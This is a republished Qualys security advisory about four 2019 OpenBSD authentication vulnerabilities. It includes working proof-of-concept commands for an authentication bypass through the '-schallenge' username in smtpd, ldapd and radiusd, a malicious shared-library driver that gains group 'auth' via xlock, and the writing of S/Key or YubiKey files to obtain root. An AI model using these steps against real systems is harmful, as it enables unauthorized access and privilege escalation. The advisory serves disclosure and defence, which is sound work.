Saturday , October 31 2020

Authentication Vulnerabilities in OpenBSD, Hacker News


[

[next>][thread-next>][day][month][year][list]
Date: Wed, 4 Dec 2019 20 : 49: 22   0000 From: Qualys Security AdvisoryTo: "oss-security @ ... ts.openwall.com"Subject: Authentication vulnerabilities in OpenBSD   Qualys Security Advisory  Authentication vulnerabilities in OpenBSD ==============================================================================Contents==============================================================================1. CVE - 2019 - 19521: Authentication bypass    1.1. Analysis    1.2. Case study: smtpd    1.3. Case study: ldapd    1.4. Case study: radiusd    1.5. Case study: sshd    1.6. Case study: su 2. CVE - 2019 - 19520: Local privilege escalation via xlock 3. CVE - 2019 - 19522: Local privilege escalation via S / Key and YubiKey 4. CVE - 2019 - 19519: Local privilege escalation via su 5. Acknowledgments ==============================================================================1. CVE - 2019 - 19521: Authentication bypass==============================================================================We discovered an authentication-bypass vulnerability in OpenBSD's authentication system: this vulnerability is remotely exploitable in smtpd, ldapd, and radiusd, but its real-world impact should be studied on a case-by-case basis. For example, sshd is not exploitable thanks to its defense-in-depth mechanisms. ==============================================================================1.1. Analysis==============================================================================From the manual page of login.conf:  -------------------------------------------------- ----------------------------      OpenBSD uses BSD Authentication, which is made up of a variety of      authentication styles. The authentication styles currently provided are:      ...      passwd Request a password and check it against the password in the                 master.passwd file. See login_passwd (8).      ...      skey Send a challenge and request a response, checking it with                 S / Key (tm) authentication. See login_skey (8).      ...      yubikey Authenticate using a Yubico YubiKey token. See                 login_yubikey (8).      ...      For any given style, the program / usr / libexec / auth / login_style is used to      perform the authentication. The synopsis of this program is:       / usr / libexec / auth / login_style [-v name=value] [-s service] username class -------------------------------------------------- ----------------------------  This is the first piece of the puzzle: if an attacker specifies a username of the form "-option", they can influence the behavior of the authentication program in unexpected ways.  From the manual page of login_passwd:  -------------------------------------------------- ----------------------------      login_passwd [-s service] [-v wheel=yes|no] [-v lastchance=yes|no] user                   [class]      ...      The service argument specifies which protocol to use with the invoking      program. The allowed protocols are login, challenge, and response. (The      challenge protocol is silently ignored but will report success as passwd-      style authentication is not challenge-response based). -------------------------------------------------- ----------------------------  This is the second piece of the puzzle: if an attacker specifies the username "-schallenge" (or "-schallenge: passwd" to force a passwd-style authentication), then the authentication is automatically successful and therefore bypassed. ==============================================================================1.2. Case study: smtpd==============================================================================To demonstrate how smtpd's authentication can be bypassed, we follow the instructions from the manual page of smtpd.conf:  -------------------------------------------------- ----------------------------      In this second example, the aim is to permit mail delivery and relaying      only for users that can authenticate (using their normal login      credentials).            ...            listen on egress tls pki mail.example.com auth            ...            match auth from any for any action "outbound" -------------------------------------------------- ----------------------------  and we restart smtpd. Then, with our remote-attacker hat on:  -------------------------------------------------- ---------------------------- $ printf ' 0-schallenge  0whatever' | openssl base 64 AC1zY2hhbGxlbmdlAHdoYXRldmVy  $ openssl s_client -connect 192. 168. 56. 121: 25 -Starttls smtp ... EHLO client.example.com ... AUTH PLAIN AC1zY2hhbGxlbmdlAHdoYXRldmVy 235 2.0.0 Authentication succeeded -------------------------------------------------- ---------------------------- ==============================================================================1.3. Case study: ldapd==============================================================================From the manual page of ldapd:  -------------------------------------------------- ----------------------------      ldapd can authenticate users via simple binds or SASL with the PLAIN      mechanism.      ...      When using SASL binds, the authentication ID should be a valid username      for BSD Authentication.       For plain text passwords to be accepted, the connection must be      considered secure, either by using an encrypted connection, or by using      the secure keyword in the configuration file. -------------------------------------------------- ----------------------------  Over such a secure connection, a remote attacker can bypass ldapd's SASL authentication:  -------------------------------------------------- ---------------------------- $ ldapsearch -H ldap: // 192. 168. 56. 121 -O none -U invaliduser -w whatever SASL / PLAIN authentication started ldap_sasl_interactive_bind_s: Invalid credentials (49)  $ ldapsearch -H ldap: // 192. 168. 56. 121 -O none -U -schallenge -w whatever SASL / PLAIN authentication started SASL username: -schallenge ... # numResponses: 1 -------------------------------------------------- ---------------------------- ==============================================================================1.4. Case study: radiusd==============================================================================To show how radiusd's authentication can be bypassed, we adapt the configuration example from the manual page of radiusd.conf:  -------------------------------------------------- ----------------------------            module load "bsdauth" "/ usr / libexec / radiusd / radiusd_bsdauth"            ...            authenticate * {                    authenticate-by "bsdauth"            } -------------------------------------------------- ----------------------------  and we send the following (successful) authentication request:  -------------------------------------------------- ---------------------------- $ radiusctl test 192. . 56. 121 secret -schallenge password whatever     ...     Reply-Message="Authentication succeeded" -------------------------------------------------- ----------------------------  If we further modify radiusd's configuration to restrict access to the members of the group "operator":  -------------------------------------------------- ----------------------------            module set "bsdauth" "restrict-group" "operator" -------------------------------------------------- ----------------------------  and send our authentication request, then radiusd_bsdauth crashes because of a NULL-pointer dereference (because getpwnam ("- schallenge") returns NULL):  -------------------------------------------------- ----------------------------  80 int  81 main (int argc, char * argv [])  82 { ... 192 pw=getpwnam (user) ; ... 197 if (gr->gr_gid==pw->pw_gid) { -------------------------------------------------- ---------------------------- ==============================================================================1.5. Case study: sshd==============================================================================Even if an attacker were able to bypass sshd's authentication with an invalid user such as "-schallenge", sshd would eventually reject it:  -------------------------------------------------- ----------------------------  225 void  226 monitor_child_preauth (struct ssh * ssh, struct monitor * pmonitor)  227 {  ...  229 int authenticated=0, partial=0;  ...  249 while (! authenticated) {  ...  288}  289   (if (! authctxt->valid)  291 fatal ("% s: authenticated invalid user", __func__); -------------------------------------------------- ----------------------------  Nevertheless, we can use sshd to remotely test whether an OpenBSD system is vulnerable to CVE - 2019 - 19521 or not:  -------------------------------------------------- ---------------------------- $ ssh -v -F / dev / null -o PreferredAuthentications=keyboard-interactive        -o KbdInteractiveDevices=bsdauth -l -sresponse: passwd 192. 168. 56. 121 ... debug1: Next authentication method: keyboard-interactive -------------------------------------------------- ----------------------------  It is vulnerable if the connection hangs, because sshd waits for login_passwd to send a challenge, while login_passwd waits for sshd to send a response (because login_passwd interprets the username "-sresponse" as an option). ==============================================================================1.6. Case study: su==============================================================================A local attacker can bypass su's authentication for the invalid user "-schallenge", but su eventually crashes because of a NULL-pointer dereference (because getpwnam_r ("- schallenge", ...) returns NULL):  -------------------------------------------------- ---------------------------- $ su -L - -schallenge Segmentation fault -------------------------------------------------- ---------------------------- ==============================================================================2. CVE - 2019 - 19520: Local privilege escalation via xlock==============================================================================On OpenBSD, / usr / X 11 R6 / bin / xlock is installed by default and is set-group-ID "auth", not set-user-ID; the following check is therefore incomplete and should use issetugid () instead:  -------------------------------------------------- ---------------------------- 101 _X_HIDDEN void * 102 driOpenDriver (const char * driverName) 103 { ... 113 if (geteuid ()==getuid ()) { 114 / * don't allow setuid apps to use LIBGL_DRIVERS_PATH * / 115 libPaths=getenv ("LIBGL_DRIVERS_PATH"); -------------------------------------------------- ----------------------------  A local attacker can exploit this vulnerability and dlopen () their own driver to obtain the privileges of the group "auth":  -------------------------------------------------- ---------------------------- $ id uid=32767 (nobody) gid=32767 (nobody) groups=32767 (nobody )  $ cd / tmp  $ cat>swrast_dri.c#include#includestatic void __attribute__ ((constructor)) _init (void) {     gid_t rgid, egid, sgid;     if (getresgid (& rgid, & egid, & sgid)!=0) _exit (__ LINE__);     if (setresgid (sgid, sgid, sgid)!=0) _exit (__ LINE__);      char * const argv []={_PATH_KSHELL, NULL};     execve (argv [0], argv, NULL);     _exit (__ LINE__); } EOF  $ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c  $ env -i / usr / X 11 R6 / bin / Xvfb: 66 -cc 0 & [1] 2706  $ env -i LIBGL_DRIVERS_PATH=. / usr / X 11 R6 / bin / xlock -display: 66  $ id uid=32767 (nobody) gid=11 (auth ) groups=32767 (nobody) -------------------------------------------------- ---------------------------- ==============================================================================3. CVE - 2019 - 19522: Local privilege escalation via S / Key and YubiKey==============================================================================If the S / Key or YubiKey authentication type is enabled (they are both installed by default but disabled), then a local attacker can exploit the privileges of the group "auth" to obtain the full privileges of the user "root" (because login_skey and login_yubikey do not verify that the files in / etc / skey and / var / db / yubikey belong to the correct user, and these directories are both writable by the group "auth").  (Note: to obtain the privileges of the group "auth", a local attacker can first exploit CVE - 2019 - 19520 in xlock.)  If S / Key is enabled (via skeyinit -E), a local attacker with "auth" privileges can add an S / Key entry (a file in / etc / skey) for the user "root" (if this file already exists, the attacker cannot simply remove or rename it, because / etc / skey is sticky; a simple workaround exists, and is left as an exercise for the interested reader):  -------------------------------------------------- ---------------------------- $ id uid=32767 (nobody) gid=11 (auth ) groups=32767 (nobody)  $ echo 'root md5  (Obsd) *********************************************************** (8b6d)  e0ef1b1c 21 '>/ etc / skey / root  $ chmod 0600 / etc / skey / root  $ env -i TERM=vt 220 su -l -a skey OTP-MD5 99 obsd 91335 S / Key Password: EGG LARD GROW HOG DRAG LAIN  # id uid=0 (root) gid=0 (wheel) ... -------------------------------------------------- ----------------------------  If YubiKey is enabled (via login.conf), a local attacker with "auth" privileges can add a YubiKey entry (two files in / var / db / yubikey) for the user "root" (if these files already exist, the attacker can simply remove or rename them, because / var / db / yubikey is not sticky):  -------------------------------------------------- ---------------------------- $ id uid=32767 (nobody) gid=11 (auth ) groups=32767 (nobody)  $ echo  (D)  ddfb7d5>/ var / db / yubikey / root.uid  $ echo 554 d5eedfd 75 FB  (cc)  D 52609505216>/var/db/yubikey/root.key  $ env -i TERM=vt 220 su -l -a yubikey Password: krkhgtuhdnjclrikikklulkldlutreul  # id uid=0 (root) gid=0 (wheel) ... -------------------------------------------------- ---------------------------- ==============================================================================4. CVE - 2019 - 19519: Local privilege escalation via su==============================================================================A local attacker can exploit su's -L option ("Loop until a correct username and password combination is entered ") to log in as themselves but with another user's login class (with the exception of root's login class if the attacker is not in the group "wheel"), because the class variable is set once and never reset:  -------------------------------------------------- ----------------------------  60 int  61 main (int argc, char ** argv)  62 { ... 174 for (;;) { ...  (if)! class && pwd && pwd ->pw_class && pwd->pw_class [0]!=' 0') 211 class=strdup (pwd->pw_class) ; -------------------------------------------------- ----------------------------  In the following example, Jane (who is a member of the group "wheel") logs in with root's login class ("daemon"), thereby increasing her resource limits:  -------------------------------------------------- ---------------------------- $ id uid=1000 (jane) gid=1000 (jane) groups=1000 (jane), 0 (wheel)  $ ulimit -H -a ... processes 512  $ su -l -L login: root Password: Login incorrect login: jane Password:  $ id uid=1000 (jane) gid=1000 (jane) groups=1000 (jane), 0 (wheel)  $ ulimit -H -a ... processes 1310 -------------------------------------------------- ----------------------------  In the following example, John (who is not a member of the group "wheel") logs in with _pbuild's login class ("pbuild"), thereby increasing his resource limits:  -------------------------------------------------- ---------------------------- $ id uid=1001 (john) gid=1001 ( john) groups=1001 (john)  $ ulimit -H -a ... data (kbytes) 786432 ... processes 256  $ su -l -L login: _pbuild Password: Login incorrect login: john Password:  $ id uid=1001 (john) gid=1001 ( john) groups=1001 (john)  $ ulimit -H -a ... data (kbytes) 33554432 ... processes 1024 -------------------------------------------------- ---------------------------- ==============================================================================5. Acknowledgments==============================================================================We thank Theo de Raadt and the OpenBSD developers for their incredibly quick response: they published patches for these vulnerabilities less than 40 hours after our initial contact. We also thank MITER's CVE Assignment Team.    [https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]https://www.qualys.com/email-banner
> This message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and / or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and / or eliminate unsolicited promotional emails (“ spam ”). If you have any concerns about this process, please contact us.

Powered by blistsmore mailing lists

Please check out theOpen Source Software Security Wiki, which is counterpart to thismailing list.

Confused aboutmailing listsand their use?Read about mailing lists on Wikipediaand check out theseguidelines on proper formatting of your messages.

Powered by Openwall GNU/*/Linux

Brave Browser
Read More
Payeer

About admin

Check Also

Vulnerabilities exploited in VPN products used worldwide, Hacker News

Vulnerabilities exploited in VPN products used worldwide

Leave a Reply

Your email address will not be published. Required fields are marked *